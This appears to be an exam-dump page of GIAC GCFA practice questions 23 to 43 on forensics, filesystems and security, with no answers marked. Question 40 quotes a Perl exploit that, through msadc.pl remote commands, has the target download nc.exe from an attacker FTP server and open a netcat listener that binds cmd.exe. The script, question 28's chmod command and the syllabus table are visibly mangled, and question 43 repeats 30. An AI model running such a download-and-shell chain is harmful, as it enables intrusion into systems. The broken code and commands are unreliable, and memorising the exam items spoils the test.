Prepare With Top Rated High-quality GCFA Dumps For Success in GCFA Exam [Q23-Q43

Prepare With Top Rated High-quality GCFA Dumps For Success in GCFA Exam
GCFA Free Certification Exam Easy to Download PDF Format 2022

GIAC GCFA Exam Syllabus Topics:

TopicDetailsTopic 1- Identify artifacts such as malicious processes, suspicious drivers and malware techniques such as code injection and rootkits- Identify and document indicators of compromise on a systemsTopic 2- Demonstrate an understanding of abnormal activity within the structure of Windows memory- Demonstrate an understanding of the techniques required
Topic 3- Demonstrate an understanding of abnormal activity within the structure of Windows memory- Demonstrate an understanding of core structures of the Windows filesystems

Candidates for GCFA

The GIAC GCFA certification exam is suitable for specialists who want to get specialized in Digital Forensics and Advanced Incident Response topics. This test, in particular, is dedicated to Incident Response team members or threat hunters. Also, it is on the

certification list of SOC analysts, experienced digital forensic analysts, or Information Security professionals. Another category of candidates interested in taking the GCFA evaluation is formed of GCIH or GCFE certification holders, penetration testers, red team members, or exploit developers. Besides, law enforcement professionals or federal agents are part of the group of candidates who are usually interested in leveraging their skills with the GCFA certification test.

NO.23 Which of the following refers to the ability to ensure that the data is not modified or tampered with?
* Integrity
* Availability
* Non-repudiation
* Confidentiality

Section: Volume C

NO.24 Which of the following classes of hackers describes an individual who uses his computer knowledge for breaking security laws, invading privacy, and making information systems insecure?
* White Hat
* Black Hat
* Gray Hat
* Security providing organizations

NO.25 Which of the following tools is used to extract human understandable interpretation from the computer binary files?
* FTK Imager
* Word Extractor
* FAU
* Galleta

NO.26 Which of the following types of firewall ensures that the packets are part of the established session?
* Application-level firewall
* Circuit-level firewall
* Stateful inspection firewall
* Switch-level firewall

NO.27 In a Windows 98 computer, which of the following utilities is used to convert a FAT16 partition to FAT32?
* CVT16.EXE
* CVT1.EXE
* CONVERT16.EXE
* CONVERT.EXE

NO.28 John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He enters the following command on the Linux terminal:

chmod -rwSr—– secure.c

Considering the above scenario, which of the following statements is true?
* The Sticky bit is set, but other users have no execute permission.
* The SUID bit is set, but the owner has no execute permission.
* The Sticky bit is set and other users have the execute permission.
* The SGID bit is set, but the group execute permission is not set.

Section: Volume C

NO.29 You want to upgrade a partition in your computer’s hard disk drive from FAT to NTFS. Which of the following DOS commands will you use to accomplish this?
* FORMAT C: /s
* CONVERT C: /fs:ntfs
* SYS C:
* FDISK /mbr

Section: Volume A

NO.30 Which of the following is the process of overwriting all addressable locations on a disk?
* Drive wiping
* Spoofing
* Sanitization
* Authentication

NO.31 Which of the following types of evidence is considered as the best evidence?
* The original document
* A copy of the original document
* A computer-generated record
* Information gathered through the witness’s senses

Section: Volume C

NO.32 Which of the following tables is formed by NTFS file system to keep the track of files, to store metadata, and their location?
* The Master File Table
* The System File Table
* The Master Allocation Table
* The File Allocation Table

NO.33 Brutus is a password cracking tool that can be used to crack the following authentications:

HTTP (Basic Authentication)

HTTP (HTML Form/CGI)

POP3 (Post Office Protocol v3)

FTP (File Transfer Protocol)

SMB (Server Message Block)

Telnet

Which of the following attacks can be performed by Brutus for password cracking?

Each correct answer represents a complete solution. Choose all that apply.
* Replay attack
* Dictionary attack
* Man-in-the-middle attack
* Hybrid attack
* Brute force attack

NO.34 Peter works as a Computer Hacking Forensic Investigator for SecureEnet Inc. He has been assigned with a project of investigating a disloyal employee who is accused of stealing secret data from the company and selling it to the competitor company. Peter is required to collect proper evidences and information to present before the court for prosecution. Which of the following parameters is necessary for successful prosecution of this corporate espionage?
* To prove that the information has a value.
* To present the evidences before the court.
* To submit investigative report to senior officials.
* To prove that the data belongs to the company.
Section: Volume C

NO.35 Peter works as a Computer Hacking Forensic Investigator. He has been called by an organization to conduct a seminar to give necessary information related to sexual harassment within the work place. Peter started with the definition and types of sexual harassment. He then wants to convey that it is important that records of the sexual harassment incidents should be maintained, which helps in further legal prosecution.

Which of the following data should be recorded in this documentation?

Each correct answer represents a complete solution. Choose all that apply.
* Names of the victims
* Date and time of incident
* Nature of harassment
* Location of each incident

NO.36 A customer comes to you stating that his hard drive has crashed. He had backed up the hard drive, but some files on it were encrypted with Windows Encrypted File System (EFS). What do you need to do to be able to give him access to those restored encrypted files?
* Nothing, they are unrecoverable.
* You need the encryption key. If that was not saved/backed up, then there is no chance of recovery.
* Nothing, when you restore, he will have access.
* You need to make sure that when you restore, you give the new machine the same user account so that he can open the encrypted files.

NO.37 Based on the case study, to implement more security, which of the following additional technologies should you implement for laptop computers?

(Click the Exhibit button on the toolbar to see the case study.)

Each correct answer represents a complete solution. Choose two.
* PAP authentication
* Encrypting File System (EFS)
* Digital certificates
* Two-factor authentication
* Encrypted Data Transmissions
Section: Volume C

NO.38 You work as the Network Administrator for McNeil Inc. The company has a Unix-based network. You want to print the super block and block the group information for the filesystem present on a system.

Which of the following Unix commands can you use to accomplish the task?
* e2fsck

* dump
* e2label
* dumpe2fs

NO.39 What is the name of the group of blocks which contains information used by the operating system in Linux system?
* logblock
* Systemblock
* Bootblock
* Superblock

Section: Volume B

NO.40 Adam, a malicious hacker performs an exploit, which is given below:

##

$port = 53;

Spawn cmd.exe on port X

$your = “192.168.1.1”;# Your FTP Server 89

$user = “Anonymous”;# login as

$pass = ‘noone@nowhere.com’;# password

##

$host = $ARGV[0];

print “Starting …n”;

print “Server will download the file nc.exe from $your FTP server.n”; system(“perl msadc.pl -h $host -C “echo open $your >sasfile””); system(“perl msadc.pl -h $host -C “echo $user>>sasfile””); system(“perl msadc.pl -h

$host -C “echo $pass>>sasfile””); system(“perl msadc.pl -h $host -C “echo bin>>sasfile””); system(“perl msadc.pl -h $host -C “echo get nc.exe>>sasfile””); system(“perl msadc.pl -h $host -C

“echo get hacked.

html>>sasfile””); system(“perl msadc.pl -h $host -C “echo quit>>sasfile””); print

“Server is downloading …

n”;

system(“perl msadc.pl -h $host -C “ftp -s:sasfile””); print “Press ENTER when download is finished …

(Have a ftp server)n”;

$o=; print “Opening …n”;

system(“perl msadc.pl -h $host -C “nc -l -p $port -e cmd.exe””); print “Done.n”;

#system(“telnet $host $port”); exit(0);

Which of the following is the expected result of the above exploit?
* Creates an FTP server with write permissions enabled
* Opens up a telnet listener that requires no username or password
* Opens up a SMTP server that requires no username or password
* Creates a share called “sasfile” on the target system
Section: Volume C

NO.41 Which of the following statements is NOT true about the file slack spaces in Windows operating system?
* File slack may contain data from the memory of the system.
* Large cluster size will decrease the volume of the file slack.
* File slack is the space, which exists between the end of the file and the end of the last cluster.
* It is possible to find user names, passwords, and other important information in slack.

NO.42 You work as a Network Administrator for NetTech Inc. The company’s network is connected to the Internet. For security, you want to restrict unauthorized access to the network with minimum administrative effort. You want to implement a hardware-based solution. What will you do to accomplish this?
* Connect a brouter to the network.
* Implement firewall on the network.
* Connect a router to the network.
* Implement a proxy server on the network.
Section: Volume C

NO.43 Which of the following is the process of overwriting all addressable locations on a disk?
* Drive wiping
* Spoofing
* Sanitization
* Authentication